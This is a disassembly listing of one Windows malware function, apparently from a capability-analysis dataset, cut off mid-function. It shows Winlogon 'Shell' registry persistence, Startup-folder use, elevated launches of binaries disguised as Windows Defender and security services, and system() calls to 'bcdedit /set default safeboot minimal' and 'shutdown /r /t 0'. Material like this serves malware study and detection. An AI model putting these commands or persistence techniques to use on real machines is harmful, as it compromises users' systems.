Function at 0x140017dd0
Capabilities:
Create directory
Create process on windows
Execute command
Persist via run registry key
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
mov rax, qword [0x14002b028]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
xor r13d, r13d
lea rdx, [0x140023ef0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.STATUS
lea rcx, [rbp + 0x60]
call fcn.140001310
mov rdx, rax
lea rcx, [rbp + 0x218]
call fcn.140005200
nop
lea rcx, [rbp + 0x218]
mov rdi, qword [rbp + 0x218]
mov rsi, qword [rbp + 0x230]
cmp rsi, 0x10
cmovae rcx, rdi
mov rbx, qword [rbp + 0x228]
cmp rbx, 2
jne 0x140017e92
mov r8, rbx
lea rdx, [0x140022a44]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
lea rdx, [0x140023f10]
je 0x140017e99
lea rdx, str.uac
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
lea rdx, [0x140001430]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x14002b128]
cmp qword [0x14002b140], 0x10
cmovae rcx, qword [0x14002b128]
mov r8, qword [0x14002b138]
cmp r8, 6
jne 0x140019d6e
lea rdx, str.NORMAL
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140019d6e
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140023f38]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp dword [0x14002be68], 0
je 0x140019d29
lea rdx, str.ADMIN_YES
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r15, [0x14002b108]
mov rcx, r15
cmp qword [0x14002b120], 0x10
cmovae rcx, qword [0x14002b108]
mov r8, qword [0x14002b118]
cmp r8, 3
jne 0x14001806c
lea rdx, [0x140022a40]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001806c
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], 2
mov qword [rbp + 0x98], 0xf
mov eax, 0x4e4f
mov word [rbp + 0x80], ax
mov byte [rbp + 0x82], 0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x40]
call fcn.1400089f0
mov rbx, rax
cmp r15, rax
je 0x140018040
mov rcx, r15
call fcn.1400012b0
movups xmm0, xmmword [rbx]
movups xmmword [0x14002b108], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x14002b118], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
lea rcx, [rbp + 0x40]
call fcn.1400012b0
lea rdx, [0x140023f58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x14002b178]
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
sub rax, rcx
cmp rax, 9
jb 0x140019fdf
lea r12, [0x14002b168]
mov rax, r12
cmp qword [0x14002b180], 0x10
cmovae rax, qword [0x14002b168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rbp + 0x80]
call fcn.14000e880
nop
mov r8d, 0x14
lea rdx, str.AppDataLocalStory
lea rcx, [rbp + 0x80]
call fcn.14000cea0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x128], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x14001814f
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001814a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001814a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r13
lea r14, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae r14, qword [rbp + 0x118]
mov rdi, qword [rbp + 0x128]
cmp rdi, rsi
ja 0x140019fe5
mov eax, 0x16
lea rdx, [rax - 0x17]
mov qword [rbp + 0x38], 0xf
cmp rdi, 0x10
jae 0x1400181cc
mov qword [rbp + 0x30], rdi
lea r8d, [rax - 6]
mov rdx, r14
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memmove
jmp 0x140018254
mov rbx, rdi
or rbx, 0xf
cmp rbx, rsi
jbe 0x1400181dd
mov rbx, rsi
jmp 0x1400181e4
cmp rbx, rax
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x14001822a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140019feb
mov rcx, rax
call fcn.14001e2a0
mov rcx, rax
test rax, rax
je 0x140018223
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140018239
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140018236
call fcn.14001e2a0
jmp 0x140018239
mov rax, r13
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x38], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x20]
call fcn.1400027d0
test al, al
je 0x140018299
lea rax, [rbp + 0x40]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x40]
call fcn.14000c820
mov rbx, rax
lea rdx, str.rmdir
lea rcx, [rbp + 0x60]
call fcn.140001310
nop
mov rdx, rbx
mov rcx, rax
call fcn.140003ff0
lea rdx, [0x140023e48]
lea rcx, [rbp + 0x40]
call fcn.140001310
mov rdx, rax
call fcn.140003600
mov r13d, eax
mov rdx, qword [0x14002b178]
mov rcx, rsi
sub rcx, rdx
cmp rcx, 9
jb 0x140019ff1
mov rax, r12
cmp qword [0x14002b180], 0x10
cmovae rax, qword [0x14002b168]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rbp + 0xf8]
call fcn.14000e880
nop
mov r8d, 0x1b
lea rdx, str.AppDataLocalStoryService
lea rcx, [rbp + 0xf8]
call fcn.14000cea0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x10
jb 0x14001838a
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018385
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018385
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0x108], xmm0
mov byte [rbp + 0xf8], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xor eax, eax
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rax
lea r14, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae r14, qword [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
cmp rdi, rsi
ja 0x140019ff7
mov qword [rbp + 0x38], 0xf
cmp rdi, 0x10
jae 0x140018400
mov qword [rbp + 0x30], rdi
lea r8d, [rax + 0x10]
mov rdx, r14
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memmove
jmp 0x140018490
mov rbx, rdi
or rbx, 0xf
cmp rbx, rsi
jbe 0x140018411
mov rbx, rsi
jmp 0x14001841e
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
mov rcx, rbx
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x14001846b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140019ffd
mov rcx, rax
call fcn.14001e2a0
mov rcx, rax
test rax, rax
je 0x140018464
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140018475
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140018475
call fcn.14001e2a0
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x38], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x20]
call fcn.1400027d0
test al, al
je 0x1400184bb
cmp r13d, 1
jle 0x1400184bb
lea rdx, [0x14002b0c8]
lea rcx, [rbp + 0x40]
call fcn.14000c820
mov rcx, rax
call fcn.140003a00
lea rdx, [0x140023f9c]
lea rcx, [rbp + 0x40]
call fcn.140001310
mov rcx, rax
call fcn.140005bb0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x238], xmm0
mov qword [rbp + 0x248], rax
lea rdx, str.EXCEPTION
lea rcx, [rbp + 0x40]
call fcn.140001310
mov rdx, rax
lea rcx, [rbp + 0x238]
call fcn.1400068c0
nop
xorps xmm0, xmm0
mov rdi, qword [rbp + 0x238]
movdqu xmmword [rbp + 0xc0], xmm0
xor r13d, r13d
mov qword [rbp + 0xd0], r13
mov rdx, qword [rdi + 0x38]
sub rdx, qword [rdi + 0x30]
sar rdx, 5
test rdx, rdx
je 0x1400185c1
lea rcx, [rbp + 0xc0]
call fcn.14000e540
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x40], rax
mov r14, qword [rdi + 0x38]
mov rdi, qword [rdi + 0x30]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov rbx, qword [rbp + 0xc0]
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], rbx
lea rax, [rbp + 0xc0]
mov qword [rbp + 0xb0], rax
cmp rdi, r14
je 0x1400185af
nop dword [rax]
mov rdx, rdi
mov rcx, rbx
call fcn.14000c820
add rbx, 0x20
mov qword [rbp + 0xa8], rbx
add rdi, 0x20
cmp rdi, r14
jne 0x140018590
mov rdx, rbx
mov rcx, rbx
call fcn.14000dd80
mov qword [rbp + 0xc8], rbx
lea rcx, [0x14002b0a8]
cmp qword [0x14002b0c0], 0x10
cmovae rcx, qword [0x14002b0a8]
mov r8, qword [0x14002b0b8]
cmp r8, 2
jne 0x14001878d
lea rdx, [0x140022a44]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001878d
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
mov r8, r12
lea rdx, str.C:Users_
lea rcx, [rbp + 0xd8]
call fcn.14000d2c0
nop
lea r8, str.AppDataLocal
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.14000d660
mov rbx, rax
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x20]
call fcn.140010640
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140001f90
lea rdx, [0x140022848]
mov rcx, rax
call fcn.14000d6d0
movzx ebx, al
lea rcx, [rbp + 0x60]
call fcn.1400012b0
nop
lea rcx, [rbp + 0xd8]
call fcn.1400012b0
test bl, bl
je 0x1400186c5
mov r8, r12
lea rdx, str.C:Users_
lea rcx, [rbp + 0x60]
call fcn.14000d2c0
nop
lea r8, str.AppDataLocal
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.14000d660
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.1400068c0
lea rcx, [rbp + 0x20]
call fcn.14000cbf0
nop
lea rcx, [rbp + 0x60]
call fcn.1400012b0
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
mov r8, r12
lea rdx, str.C:Users_
lea rcx, [rbp + 0xd8]
call fcn.14000d2c0
nop
lea r8, str.AppDataRoaming
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.14000d660
mov rbx, rax
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x20]
call fcn.140010640
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140001f90
lea rdx, [0x140022848]
mov rcx, rax
call fcn.14000d6d0
movzx ebx, al
lea rcx, [rbp + 0x60]
call fcn.1400012b0
nop
lea rcx, [rbp + 0xd8]
call fcn.1400012b0
test bl, bl
je 0x14001878d
mov r8, r12
lea rdx, str.C:Users_
lea rcx, [rbp + 0x60]
call fcn.14000d2c0
nop
lea r8, str.AppDataRoaming
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.14000d660
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.1400068c0
lea rcx, [rbp + 0x20]
call fcn.14000cbf0
nop
lea rcx, [rbp + 0x60]
call fcn.1400012b0
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
lea rdx, str.Shell
lea rcx, [rbp + 0x40]
call fcn.140001310
mov rbx, rax
lea rdx, str.HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
lea rcx, [rbp + 0x60]
call fcn.140001310
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.1400080b0
nop
mov rcx, r15
mov rdi, qword [0x14002b108]
mov r14, qword [0x14002b120]
cmp r14, 0x10
cmovae rcx, rdi
mov rbx, qword [0x14002b118]
cmp rbx, 2
jne 0x140018899
mov r8, rbx
lea rdx, [0x140022a44]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140018899
lea rdx, [0x14002284c]
lea rcx, [rbp + 0x270]
call fcn.14000d6d0
test al, al
je 0x140018899
lea rdx, [0x140022a44]
lea rcx, [0x14002b0a8]
call fcn.14000d6d0
test al, al
je 0x140018899
lea rdx, str.NORMAL
lea rcx, [0x14002b128]
call fcn.14000d6d0
test al, al
je 0x140018899
lea rdx, [0x140023e48]
lea rcx, [0x14002b088]
call fcn.14000d6d0
test al, al
je 0x140018899
lea rcx, str.bcdedit__set_default_safeboot_minimal
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r14, qword [0x14002b120]
mov rbx, qword [0x14002b118]
mov rdi, qword [0x14002b108]
cmp r14, 0x10
cmovae r15, rdi
cmp rbx, 2
jne 0x1400188bd
mov r8, rbx
lea rdx, [0x140022a44]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001892a
lea rdx, str.DISABLE
lea rcx, [rbp + 0xd8]
call fcn.140001310
mov rcx, rax
call fcn.1400087c0
lea rdx, [0x140022a44]
lea rcx, [rbp + 0x218]
call fcn.14000d6d0
test al, al
je 0x14001891d
lea rdx, str.DISABLE
lea rcx, [rbp + 0xd8]
call fcn.140001310
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140005200
lea rcx, [rbp + 0x250]
call fcn.1400012b0
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], 1
mov qword [rbp - 0x48], 0xf
mov word [rbp - 0x60], 0x31
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], 1
mov qword [rbp - 0x28], 0xf
mov word [rbp - 0x40], 0x31
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], 1
mov qword [rbp - 8], 0xf
mov word [rbp - 0x20], 0x31
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], 1
mov qword [rbp + 0x18], 0xf
mov word [rbp], 0x31
movdqu xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r13
mov edx, 4
lea rcx, [rbp + 0xa0]
call fcn.14000e540
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x40], rax
lea rdi, [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov rbx, qword [rbp + 0xa0]
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rbx
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x30], rax
nop word [rax + rax]
mov rdx, rdi
mov rcx, rbx
call fcn.14000c820
add rbx, 0x20
mov qword [rbp + 0x28], rbx
add rdi, 0x20
lea rax, [rbp + 0x20]
cmp rdi, rax
jne 0x1400189f0
mov rdx, rbx
mov rcx, rbx
call fcn.14000dd80
mov qword [rbp + 0xa8], rbx
lea rcx, [rbp + 0xa0]
call fcn.140009530
nop
lea r9, [fcn.1400012b0]
mov edx, 0x20
lea r8d, [rdx - 0x1c]
lea rcx, [rbp - 0x60]
call fcn.14001e48c
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
mov qword [rbp + 0x208], r13
mov qword [rbp + 0x210], 0xf
mov ecx, 0x30
call fcn.14001e2a0
mov rcx, rax
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x208], 0x27
mov qword [rbp + 0x210], 0x2f
movups xmm0, xmmword [str.C:ProgramDataMicrosoftWindows_Filter]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140024060]
movups xmmword [rax + 0x10], xmm1
mov eax, dword [0x140024070]
mov dword [rcx + 0x20], eax
movzx eax, word [0x140024074]
mov word [rcx + 0x24], ax
movzx eax, byte [0x140024076]
mov byte [rcx + 0x26], al
mov byte [rcx + 0x27], 0
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
xorps xmm0, xmm0
movups xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x188], r13
mov qword [rbp + 0x190], 0xf
mov ecx, 0x40
call fcn.14001e2a0
mov rcx, rax
mov qword [rbp + 0x178], rax
mov qword [rbp + 0x188], 0x3a
mov qword [rbp + 0x190], 0x3f
movups xmm0, xmmword [str.C:ProgramDataMicrosoftWindows_FilterFilter_Service.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140024088]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140024098]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [0x1400240a8]
movsd qword [rax + 0x30], xmm1
movzx eax, word [0x1400240b0]
mov word [rcx + 0x38], ax
mov byte [rcx + 0x3a], 0
lea rdx, [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140018ba9
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x40]
call fcn.14000c820
mov rbx, rax
lea rdx, str.NONE
lea rcx, [rbp + 0x60]
call fcn.14000c820
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.140002a50
lea rcx, [rbp + 0xd8]
call fcn.1400012b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r13
lea r14, [rbp + 0x178]
cmp qword [rbp + 0x190], 0x10
cmovae r14, qword [rbp + 0x178]
mov rdi, qword [rbp + 0x188]
cmp rdi, rsi
ja 0x14001a003
mov qword [rbp + 0x38], 0xf
cmp rdi, 0x10
jae 0x140018c08
mov qword [rbp + 0x30], rdi
mov r8d, 0x10
mov rdx, r14
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memmove
jmp 0x140018c9d
mov rbx, rdi
or rbx, 0xf
cmp rbx, rsi
jbe 0x140018c19
mov rbx, rsi
jmp 0x140018c26
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140018c73
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001a009
mov rcx, rax
call fcn.14001e2a0
mov rcx, rax
test rax, rax
je 0x140018c6c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140018c82
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140018c7f
call fcn.14001e2a0
jmp 0x140018c82
mov rax, r13
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x38], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x20]
call fcn.140001ee0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rax
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r13
mov qword [rbp + 0x170], 0xf
mov ecx, 0x40
call fcn.14001e2a0
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x168], 0x32
mov qword [rbp + 0x170], 0x3f
movups xmm0, xmmword [str.C:WindowsSystem32Security_Microsoft_Service.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400240d8]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400240e8]
movups xmmword [rax + 0x20], xmm0
movzx ecx, word [0x1400240f8]
mov word [rax + 0x30], cx
mov byte [rax + 0x32], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], r13
mov qword [rbp + 0x150], 0xf
mov ecx, 0x50
call fcn.14001e2a0
mov rdx, rax
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x148], 0x46
mov qword [rbp + 0x150], 0x4f
movaps xmm0, xmmword [str.C:ProgramDataMicrosoftWindows_DefenderService_Windows_Defender.exe]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140024110]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140024120]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140024130]
movups xmmword [rax + 0x30], xmm1
mov ecx, dword [0x140024140]
mov dword [rax + 0x40], ecx
movzx eax, word [0x140024144]
mov word [rdx + 0x44], ax
mov byte [rdx + 0x46], 0
lea rcx, [rbp + 0x158]
cmp qword [rbp + 0x170], 0x10
cmovae rcx, qword [rbp + 0x158]
lea rdx, [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140018e36
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x40]
call fcn.14000c820
mov rbx, rax
lea rdx, str.NONE
lea rcx, [rbp + 0x60]
call fcn.14000c820
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.140002a50
lea rcx, [rbp + 0xd8]
call fcn.1400012b0
lea rcx, [rbp + 0x138]
cmp qword [rbp + 0x150], 0x10
cmovae rcx, qword [rbp + 0x138]
lea rdx, [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140018ea9
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x40]
call fcn.14000c820
mov rbx, rax
lea rdx, str.NONE
lea rcx, [rbp + 0x60]
call fcn.14000c820
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.140002a50
lea rcx, [rbp + 0xd8]
call fcn.1400012b0
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x40]
call fcn.14000c820
mov rcx, rax
call fcn.140001ee0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rax
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x40]
call fcn.14000c820
mov rcx, rax
call fcn.140001ee0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rax
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [0x14002b178]
mov rax, rsi
sub rax, rcx
cmp rax, 9
jb 0x14001a00f
mov rax, r12
cmp qword [0x14002b180], 0x10
cmovae rax, qword [0x14002b168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rbp + 0xf8]
call fcn.14000e880
nop
mov r8d, 0x40
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
lea rcx, [rbp + 0xf8]
call fcn.14000cea0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x260], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x10
jb 0x140018fef
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018fea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018fea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0x108], xmm0
mov byte [rbp + 0xf8], 0
mov rcx, qword [0x14002b178]
mov rax, rsi
sub rax, rcx
cmp rax, 9
jb 0x14001a015
cmp qword [0x14002b180], 0x10
cmovae r12, qword [0x14002b168]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r12
